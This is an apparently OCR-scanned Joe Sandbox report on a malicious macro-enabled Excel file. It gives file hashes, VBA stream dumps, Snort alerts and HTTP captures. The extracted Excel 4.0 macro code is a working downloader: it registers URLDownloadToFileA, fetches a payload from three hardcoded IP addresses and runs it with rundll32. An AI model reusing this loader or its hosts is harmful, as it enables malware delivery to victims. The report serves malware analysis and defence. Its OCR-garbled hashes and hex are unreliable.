LLynk@. ] KUELS L pa2pg...... . PK

.guu.....c....]JO&_.p6.Mu..d6..-...[..M'selu../S5.{
A usMLL V0?2 Z s {.c.l.-.

.eK+.Hj.J.t.. 4> . HFS..2..
.M.}..G .q.

C:\Users\luser\AppData\Roaming\Microsoft\Office\Recent|91476525608-04012021.LNK
Process: C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

File Type: MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:15 2020, mtime=Fri Apr 2 03:53:38 2021, atim
e=Fri Apr 2 03:53:38 2021, length=177712, window=hide
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https://view.joesandbox.com/analysis/288350/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288350/html/none?idtype=webid
https://view.joesandbox.com/analysis/288349/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288349/html/none?idtype=webid
https://view.joesandbox.com/analysis/288347/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288347/html/none?idtype=webid
https://view.joesandbox.com/analysis/288346/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288346/html/none?idtype=webid
https://view.joesandbox.com/analysis/288345/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288345/html/none?idtype=webid
https://view.joesandbox.com/analysis/288342/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288342/html/none?idtype=webid

C:\Users\luser\AppData\Roaming\Microsoft\Office\Recent|91476525608-04012021.LNK

Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

dropped

2138

4.509971590376543

false

24:80/XTd6jFyS2LhepRDv3qodM7dD20/XTd6jFyS2LhepRDv3qodM7dV:80/XTOjFF2LhBoQh20/XTOjFF2LhBoQ/

21986204C8A142FBAA4D3BB50CACAFBE

810F92044A00628D2286C4748FC9229C30708DE4

8AED2A53F3130D62A3DF6FD41C348AF4675B7C3AABC740E838D87085F4AF38CD
701FAE97FD2A535AF5FC4293E6F6A6BDA2405653C39F6D335C82B6B5534A4661F814F25F3460A3179B588C840AB31D1280C1B0871E785AA9333508B04384509C
false

low

| EETTTOPRRN Fo.. .. JKA.D%]". 1% .0 P.O. iee..#00.../C: N t.1....QK.X.Users. .........QK. X ..ol 6....Us.ers..@.s.hell3.2.dll,.-
.2.1.8.1.3....L.1.....Q.y..user.8.....QK.X.Q.y*...&=....U.. Alb.us....z.1.....Q.y..Desktop.d.....QK.X.Q.y*..._= ....D.esskto.p..@.s.hell3.2.dll
9.1.4.7.6.5.2.5.6.0.8.-.0.4.0.1.2.0.2.1...x.l.s.m.. JRCTOR: T (PP ?J......C:\Users\..#.
\134349\Users.user\Desktop\91476525608-04012021.xIsm.0.....\..... \....\..\..\\D.e.s.k.t.0.p.\.9.1.4.7.6.5.2.5.6.0.8.-.0.4.0.1.2.0.2.1..x.l.s.m.........:
1SPS.XF.L8C....&m.m... -..8.-.1.-5.-2.1.-9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6......o.....” .. ) S 134349...

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Desktop.LNK

Process:

File Type:

Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Read-Only, Directory, ctime=Tue Oct 17 10:04:00 2017, mtime=Fri Apr 2 03:53:
38 2021, atime=Fri Apr 2 03:53:38 2021, length=8192, window=hide

dropped

867

4.484541587998017

false

12:85Qa2LgXg/XAICPCHaXtB8XzB/a/X+WnicvbxbDtZ3YiIMMEpxRIjK2yTdJP9TdU:854/XTd6jsYexDv3gorNru/

662DAD751B67554F6EEBE750BCODD74E

AE2A19D11FF5B452BB8212FBB1B1E47F63A6C8D3

7B0OC79920F6F8A68576CCA63F22C33D8IEO09AA737C707D33A736082A03BD00D2
6720DD2D3679090D39051952A645EB216E013C294A633B9ECE31D26FEAFAD202A39954E677293D98EEBE144D01026D06FCEBEB9ABBF522512C0EASEF79058A€

false

low

| ISR Foi 7G..".D%]|"..".D%]"... ccoceriiriiiiiis i...P.O. i 400, /Ci\ t1.....QK.X..Users. .......QK.X*.....oo 6...Us.ers..@.s.hell3.2.dll,.-
Alb.us....z.1.....R.&..Desktop.d. cieeiDees ktop..@.s.h.ell3.2..d.LL,.-.2.
...\\134349\Users.user\Desktop.... .D.e.skt.o.peci LB AG 1SPS.XF.L
.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.....cc00.. e Xo.. 134349, D_..3N..W..0r.[*....... }EKD_....3N..

C:\Users\luser\AppData\Roaming\Microsoft\Office\Recentlindex.dat

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

ASCII text, with CRLF line terminators

dropped

115

4.476951246088606

false

3:0yBVomxW4AECIH+TECIMXWA4AECIv:djJUECQTEC9EC1
9ABB152F14E864A0442647375EAEF800
F75AE3EA100D77463B10071D490354CE3FAFF74F
73CA17369F3CDESE4DAIBACAF17ABF3264FBBEF524E83EE66E236640EF078B72

4234F266B163E10DE754A42353D1DF1F91BFB348A76BA9C8DEA9EDF242C9D797DDABB3E7E00742C672BD6C4DBC127523D0750C42F54F390A0A6D97054BEE9L
2

false

low

Desktop.LNK=0..[misc]..91476525608-04012021.LNK=0..91476525608-04012021.LNK=0..[misc]..91476525608-04012021.LNK=0..

C:\Users\user\Desktop\20DE0000

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

data

dropped

177712

7.962665588794351

false
3072:3Fq27kdXE59b4DETZU4yvUCidynhV912A7bF8mrcLwKw55eiETTcDGH:3Q2whE5SDVbXAyHbVt15wTQDC
FFE542EBE4C59D29854B73FD12A8B33E

2B77236C44668531C569C68A4697895A438179F1
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C:\Users\user\Desktop\20DE0000

SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

7D1AA02604B404F30DB192CBDD3280076BEC32611BCF73FCOF02D12A9ACOEESE

4848C95DFC296D53B2BE32F03A9F0B2125647325E6BC7138A713C04E984F3BA7B5A508ESEC4D0OFED30AEE9B94BFFCBD9C270DE8S03E9FFCDFBE89237B005D0(
BB

false

low

U.n0...2.." izl S L8 wilvk.. L Efjgv... fet........R.N*5....+.b.Vr. 4d...>~>=. .mIH..X.=
H.E.r.q.V.. . X.P..rZ.N.ud7.w..70(.=.'7.[i.b. . fXJ. dj. .\ j. T+, (=$../4) #..0}...
LLynk@. ] KUELS L pa2pg...... PK

.guu.....c....]JO&_.p6.Mu..d6..-...[..M'selu../S5.{
A usMLL V0?2 Z s {.c.l.-.

.eK+.Hj.J.t.. 4> . HFS..2..
.M.}..G.q.

C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

data

dropped

330

1.4377382811115937

false

3:vZ/FFDIW2fj/FFDIw2fV:vBFFGaFFGS

96114D75E30EBD26B572C1FC83D1D02E
A44EEBDASEB09862AC46346227F06F8CFAF19407
0C6F8CFOE504C17073E4C614C8A7063F194E335D840611EEFA9E29C7CED1A523

52D33C36DF2A91E63A9B1949FDC5D69E6A3610CD3855A2E3FC25017BF0A12717FC15EBBAC6113DC7D69C06ADAA83FAFOF021AD7C8D30600AA8168348BDOFAS
0

true

high, very likely benign file

.user LALDUS user JAlbuso oo

Static File Info

General
File type:
Entropy (8bit):
TriD:

File name:
File size:
MDS5:
SHA1L:
SHA256:

SHA512:

SSDEEP:

File Content Preview:

File Icon

Icon Hash:

Microsoft Excel 2007+
7.962528117929017

o Excel Microsoft Office Open XML Format document
with Macro (57504/1) 54.50%

o Excel Microsoft Office Open XML Format document
(40004/1) 37.92%

e ZIP compressed archive (8000/1) 7.58%

91476525608-04012021.xIsm

176993

e8d0244666daf465e9914a7f56938412
3c5f71752b0ceal8b06dfad9a96cdfeb053f45cc

196668480754f95f98c6e59d4776e4f8c756ad3be9fd48a
27cfch50be329567e

d9d9cdfc5eed50798eb3eed4e60b9c5d6a8d7d52dbecce00
e17b37681d3f43cd4ee5698b6b2bd1b3978ad24a402ca0
02b49ed6ef409e30ac8c94d7a503254da476

3072:DXE59b4DETZU4yvUCidynhV912A7bF8mrcLwK
W55eiETTcDGDKJj:LE5SDvhbXAyHbVt15wTQDOKJj

.[Content_Types].xml ...(..

ede2aa8aadbcbcac

Static OLE Info
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General
Document Type: OpenXML
Number of OLE Files: 1

OLE File "lopt/packageljoesandbox/database/analysis/380316/sample/91476525608-04012021.xIsm"

Indicators

Has Summary Info: False
Application Name: unknown
Encrypted Document: False

Contains Word Document Stream:
Contains Workbook/Book Stream:
Contains PowerPoint Document Stream:

Contains Visio Document Stream:

Contains ObjectPool Stream:
Flash Objects Count:

Contains VBA Macros:

Summary

Author:

Last Saved By:
Create Time:

Last Saved Time:
Creating Application:

Security:

Document Summary
Thumbnail Scaling Desired:
Company:

Contains Dirty Links:
Shared Document:
Changed Hyperlinks:

Application Version:

Streams with VBA

VBA File Name: Modulel.bas, Stream Size: 948

General
Stream Path:
VBA File Name:
Stream Size:

Data ASCII:

Data Raw:

VBA Code Keywords

Keyword
Application.Run
Attribute
Auto_Open()
VB_Name

Private

VBA Code

Streams

True

Rabota

Feriola
2015-06-05T18:19:34Z
2021-04-01T11:57:52Z
Microsoft Excel

0

false

false
false
false

16.0300

VBA/Modulel
Modulel.bas
948

01 16 03 00 00 fO 00 00 00 7a 02 00 00 d4 00 00 00 88 01 00 00 ff ff ff ff 81 02 00 00 31 03 00
00 00 00 00 00 01 00 00 00 d2 b3 f0 e3 00 00 ff ff 03 00 00 00 00 00 00 00 b6 00 ff ff 01 01 00
00 00 00 ff ff ff ff 00 00 00 00 ff ff f ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: PROJECT, File Type: 1SO-8859 text, with CRLF line terminators, Stream Size: 527

General
Stream Path:

Copyright Joe Security LLC 2021

PROJECT
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General

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: PROJECTwm, File Type: data, Stream Size: 71

General

Stream Path:

File Type:

Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: VBA/_VBA_PROJECT, File Type: data, Stream Size: 2555

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: VBA/dir, File Type: data, Stream Size: 549

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: VBA/\x10511x10801x1089\x10901, File Type: data, Stream Size: 990

General
Stream Path:
File Type:

Stream Size:

Copyright Joe Security LLC 2021

1SO-8859 text, with CRLF line terminators
527

5.31297412231

True

ID="{00000000-0000-0000-0000-000000000000}"..Documen
t=...... .. /&HO00000000..Document=....1/&H00000000..Module
=Modulel..HelpFile=""..Name="VBAProject"..HelpContextlD
="0"..VersionCompatible32="393222000"..CMG="E8EA4492
489248974D974D"..DPB="353799AEABEG6C8EG6CS81

49 44 3d 22 7b 30 30 30 30 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30
30 30 30 30 30 30 30 30 30 30 30 7d 22 0d Oa 44 6f 63 75 6d 65 6e 74 3d dd f2 e0 ca ed e8
e3 e0 2f 26 48 30 30 30 30 30 30 30 30 0Od Oa 44 6f 63 75 6d 65 6e 74 3d cb e8 f1 {2 31 2f 26
48 30 30 30 30 30 30 30 30 0d Oa 4d 6f 64 75 6¢ 65 3d 4d 6f 64 75 6¢ 65 31 0d Oa 48 65 6¢
70 46 69 6¢ 65 3d 22

PROJECTwMm
data

71
3.95636440452
False

.8.3.0....... 1...8.A.B.1...Modulel.M.o.d.u.l.¢

dd f2 e0 ca ed e8 e3 e0 00 2d 04 42 04 30 04 1a 04 3d 04 38 04 33 04 30 04 00 00 cb e8 f1 {2
3100 1b 04 38 04 41 04 42 04 31 00 00 00 4d 6f 64 75 6¢ 65 31 00 4d 00 6f 00 64 00 75 00
6¢ 00 65 00 31 00 00 00 00 00

VBA/_VBA_PROJECT

data

2555

4.01853324276

False

A .*\.G.{.0.0.0.2.0.4.E.F.-.0.0.0.
0.-.0.0.0.0.-.C.0.0.0.-.0.0.0.0.0.0.0.0.0.0.4.6.}.#.4...2.#.9.
#.C.:.\.P.r.o.g.r.a.m F.i.l.e.s.\.C.o.m.m.o.n. .F.i.l.e.s.\\.
M.i.c.r.o.s.o.f.t. .S.h.a.r.e.d.\.V.B.A.\.V.B.A.7...1.\.V.B.E.
7.

cc 61 b2 00 00 03 00 ff 19 04 00 00 09 04 00 00 €3 04 03 00 00 00 00 00 00 00 00 00 01 00
04 00 02 00 20 01 2a 00 5c 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00
2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00
2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00
34 00 2e 00 32 00 23 00

VBA/dir
data

549

6.37926381995

LHLo d........ VBAProje.ct.. 4. @..j...=....r.
..... r.stdole>...s.t.d.o..l.e...h.%.~..*\G{00.
020430-..... C...... 004.6}#2.0#0.#C:\Wind.ows\Syst em32\\.

e2..tIb#OLE .Automati.on
F8Do04C.-

...EOffDic.EO.f..i..c.E....... E.2D

01 21 b2 80 01 00 04 00 00 00 03 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 82 02 00 64 e3
04 04 00 0a 00 1c 00 56 42 41 50 72 6f 6a 65 88 63 74 05 00 34 00 00 40 02 14 6a 06 02 Oa
3d 02 0a 07 02 72 01 14 08 05 06 12 09 02 12 3d ¢5 56 62 01 94 00 Oc 02 4a 3c 02 0a 16 00
01 72 80 73 74 64 6f 6¢ 65 3e 02 19 00 73 00 74 00 64 00 6f 00 80 6¢ 00 65 00 Od 00 68 00
2502 5e 00 03 2a 5¢ 47

VBA/\x1051\x1080\x1089\x10901
data

990
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General

Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

3.21290365488
True

01 16 03 00 00 fO 00 00 00 d2 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff d9 02 00 00 2d 03 00
00 00 00 00 00 01 00 00 00 d2 b3 6e 7d 00 00 ff ff 23 00 00 00 88 00 00 00 b6 00 ff ff 01 01
00 00 00 00 ff ff ff ff 00 00 00 00 ff f ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00

Stream Path: VBA/\x10691x1090\x1072\x1050\x1085\x1080\x1075\x1072, File Type: data, Stream Size: 1009

General

Stream Path:

File Type:

Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Macro 4.0 Code

"=EXEC(""rundll32 "'&""..\Hodas.vyur1™'&" Plugininit")"=GOTO(Hi!D4)

VBA/\x1069\x1090\x1072\x1050\x1085\x1080\x1075\x1072
data

1009

3.24479314936

True

01 16 03 00 00 fO 00 00 00 d2 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff d9 02 00 00 39 03 00
00 00 00 00 00 01 00 00 00 d2 b3 3 e4 00 00 ff ff 23 00 00 00 88 00 00 00 b6 00 ff ff 01 01 00
00 00 00 ff ff f ff 00 00 00 00 ff ff f ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

=NOW(),,,"=NOW()=NOW()=NOW()=FORMULA(""URLDownloadToFileA™ CE271)","=CONCATENATE(CC274,CD266,CC273)",,,"=CONCATENATE(CC275,CD266,CC273)","=NOW()=NOW()=NOW()=
REGISTER(CE270,CE271,CE269,CE273,,1,9)",JJCCJJ,"=CONCATENATE(CC276,CD266,CC273)","=NOW()=NOW()=NOW()=REGISTER(CE270,CE271,CE272,CE273,,1,9)",uRIMon,,"=NOW()=NOW()
=NOW()=Belandes(0,CC268,"".\Hodas.vyur",0,0)",,,"=NOW()=NOW()=NOW()=Belandes(0,CC269,". \Hodas.vyur1",0,0)",JJCCBB, =" dat"","=NOW()=NOW()=NOW()=Belandes(0,CC270,"".\Hodas.vy
ur2™,0,0)",Belandes,"=""http://45.150.67.243/"",,"=""http://195.123.210.186/"" ,,"=""http://91.211.89.28/"",,..........."=NOW()=NOW()=NOW()=EXEC(""rundii32 ""&"". \Hodas.vyur"'&" PluginInit")",,......,.=G

OTO(JoIE4),,

"=EXEC(""rundll32 "'&""..\Hodas.vyur2"'&"",Plugininit"")"=HALT()

Network Behavior

Snort IDS Alerts

Timestamp Protocol SID Message

04/01/21- TCP 1201  ATTACK-RESPONSES 403 Forbidden
21:53:43.033536

04/01/21- TCP 1201  ATTACK-RESPONSES 403 Forbidden
21:53:43.253017

04/01/21- TCP 1201  ATTACK-RESPONSES 403 Forbidden

21:53:43.514905

TCP Packets

Timestamp

Apr 1, 2021 21:53:42.614259958 CEST
Apr 1, 2021 21:53:42.726013899 CEST
Apr 1, 2021 21:53:42.726177931 CEST
Apr 1, 2021 21:53:42.738524914 CEST
Apr 1, 2021 21:53:42.832783937 CEST
Apr 1, 2021 21:53:43.033535957 CEST
Apr 1, 2021 21:53:43.033732891 CEST
Apr 1, 2021 21:53:43.055102110 CEST
Apr 1, 2021 21:53:43.122000933 CEST
Apr 1, 2021 21:53:43.122169971 CEST
Apr 1, 2021 21:53:43.123534918 CEST
Apr 1, 2021 21:53:43.188724995 CEST

Copyright Joe Security LLC 2021

Source Port
49167
80
49167
49167
80

80
49167
49168
80
49168
49168
80

Source Dest

Port Port Source IP Dest IP
80 49167 45.150.67.243  192.168.2.22
80 49168 195.123.210.186 192.168.2.22
80 49169 91.211.89.28 192.168.2.22

Dest Port Source IP Dest IP

80 192.168.2.22 45.150.67.243

49167 45.150.67.243 192.168.2.22

80 192.168.2.22 45.150.67.243

80 192.168.2.22 45.150.67.243

49167 45.150.67.243 192.168.2.22

49167 45.150.67.243 192.168.2.22

80 192.168.2.22 45.150.67.243

80 192.168.2.22 195.123.210.186

49168 195.123.210.186 192.168.2.22

80 192.168.2.22 195.123.210.186

80 192.168.2.22 195.123.210.186

49168 195.123.210.186 192.168.2.22



Timestamp

Apr 1, 2021 21:53:43.253016949 CEST
Apr 1, 2021 21:53:43.253165007 CEST
Apr 1, 2021 21:53:43.279544115 CEST
Apr 1, 2021 21:53:43.362888098 CEST
Apr 1, 2021 21:53:43.363066912 CEST
Apr 1, 2021 21:53:43.364522934 CEST
Apr 1, 2021 21:53:43.448395967 CEST
Apr 1, 2021 21:53:43.514904976 CEST
Apr 1, 2021 21:53:43.515085936 CEST
Apr 1, 2021 21:54:48.033828974 CEST
Apr 1, 2021 21:54:48.036288023 CEST
Apr 1, 2021 21:54:48.252974033 CEST
Apr 1, 2021 21:54:48.254398108 CEST
Apr 1, 2021 21:54:48.514592886 CEST
Apr 1, 2021 21:54:48.518407106 CEST
Apr 1, 2021 21:55:42.564728022 CEST
Apr 1, 2021 21:55:42.565167904 CEST
Apr 1, 2021 21:55:42.565632105 CEST
Apr 1, 2021 21:55:42.630917072 CEST
Apr 1, 2021 21:55:42.647641897 CEST
Apr 1, 2021 21:55:42.660893917 CEST

HTTP Request Dependency Graph

e 45.150.67.243

e 195.123.210.186

e 91.211.89.28

HTTP Packets

Session ID Source IP

0 192.168.2.22
kBytes

Timestamp transferred

Apr 1, 2021 0

21:53:42.738524914 CEST

Apr 1, 2021 1

21:53:43.033535957 CEST
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Source Port

49167

Direction

ouT

Source Port Dest Port Source IP Dest IP

80 49168 195.123.210.186 192.168.2.22
49168 80 192.168.2.22 195.123.210.186
49169 80 192.168.2.22 91.211.89.28

80 49169 91.211.89.28 192.168.2.22
49169 80 192.168.2.22 91.211.89.28
49169 80 192.168.2.22 91.211.89.28

80 49169 91.211.89.28 192.168.2.22

80 49169 91.211.89.28 192.168.2.22
49169 80 192.168.2.22 91.211.89.28

80 49167 45.150.67.243 192.168.2.22
49167 80 192.168.2.22 45.150.67.243
80 49168 195.123.210.186 192.168.2.22
49168 80 192.168.2.22 195.123.210.186
80 49169 91.211.89.28 192.168.2.22
49169 80 192.168.2.22 91.211.89.28
49169 80 192.168.2.22 91.211.89.28
49168 80 192.168.2.22 195.123.210.186
49167 80 192.168.2.22 45.150.67.243
80 49168 195.123.210.186 192.168.2.22

80 49169 91.211.89.28 192.168.2.22

80 49167 45.150.67.243 192.168.2.22

Destination IP Destination Port Process

45.150.67.243 80 C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

Data

GET /44285,5327891204.dat HTTP/1.1

Accept: */*

UA-CPU: AMD64

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: 45.150.67.243

Connection: Keep-Alive

HTTP/1.1 403 Forbidden

Server: nginx

Date: Thu, 01 Apr 2021 19:53:43 GMT

Content-Type: text/html

Content-Length: 548

Connection: keep-alive

Data Raw: 3c 68 74 6d 6c 3e 0d Oa 3c 68 65 61 64 3e 3c 74 69 74 6¢ 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f
74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d Oa 3c 62 6f 64 79 3e 0d Oa 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46
6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3c 68 72 3e 3¢ 63 65 6e 74 65 72 3e 6e 67 69 6e
78 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3c 2f 62 6f 64 79 3e 0d Oa 3c 2f 68 74 6d 6¢ 3e 0d Oa 3¢ 21 2d 2d 20 61 20 70 61 64
64 69 6e 67 20 74 6f 20 64 69 73 61 62 6¢ 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6¢ 79
206572 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d Oa 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61
62 6¢ 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6¢ 79 20 65 72 72 6f 72 20 70 61 67 65 20
2d 2d 3e 0d Oa 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6¢ 65 20 4d 53 49 45 20 61 6e 64
20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6¢ 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d Oa 3c 21 2d 2d 20 61 20
70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6¢ 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6
e 64 6¢ 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d Oa 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64
69 73 61 62 6¢ 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6¢ 79 20 65 72 72 6f 72 20 70 61
67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6¢ 65 20 4d 53 49 45 20
61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6¢ 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d Oa

Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><c
enter>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disab
le MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to
disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a
padding to disable MSIE and Chrome friendly error page -->
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Session ID Source IP

1 192.168.2.22
kBytes

Timestamp transferred

Apr 1, 2021 1

21:53:43.123534918 CEST

Apr 1, 2021 2

21:53:43.253016949 CEST

Session ID Source IP

2 192.168.2.22
kBytes

Timestamp transferred

Apr 1, 2021 3

21:53:43.364522934 CEST

Apr 1, 2021 4

21:53:43.514904976 CEST
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Source Port

49168

Direction

ouT

Source Port

49169

Direction

ouT

Destination IP Destination Port Process

195.123.210.186 80 C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

Data

GET /44285,5327891204.dat HTTP/1.1

Accept: */*

UA-CPU: AMD64

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: 195.123.210.186

Connection: Keep-Alive

HTTP/1.1 403 Forbidden

Server: nginx

Date: Thu, 01 Apr 2021 19:53:43 GMT

Content-Type: text/html

Content-Length: 548

Connection: keep-alive

Data Raw: 3c 68 74 6d 6¢ 3e 0d Oa 3c 68 65 61 64 3e 3c 74 69 74 6¢ 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f
7469 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d Oa 3c 62 6f 64 79 3e 0d Oa 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46
6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3¢ 63 65 6e 74 65 72 3e 6e 67 69 6e
78 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3c 2f 62 6f 64 79 3e 0d Oa 3c 2f 68 74 6d 6¢ 3e 0d Oa 3c 21 2d 2d 20 61 20 70 61 64
64 69 6e 67 20 74 6f 20 64 69 73 61 62 6¢ 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6¢C 79
2065 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61
62 6¢ 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6¢ 79 20 65 72 72 6f 72 20 70 61 67 65 20
2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6¢ 65 20 4d 53 49 45 20 61 6e 64
20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6¢ 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d Oa 3c 21 2d 2d 20 61 20
70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6¢ 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6
e 64 6¢ 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d Oa 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64
69 73 61 62 6¢ 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6¢ 79 20 65 72 72 6f 72 20 70 61
67 65 20 2d 2d 3e 0d Oa 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6¢ 65 20 4d 53 49 45 20
61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6¢ 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d Oa

Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><c
enter>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disab
le MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to
disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a
padding to disable MSIE and Chrome friendly error page -->

Destination IP Destination Port Process

91.211.89.28 80 C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

Data

GET /44285,5327891204.dat HTTP/1.1

Accept: */*

UA-CPU: AMD64

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: 91.211.89.28

Connection: Keep-Alive

HTTP/1.1 403 Forbidden

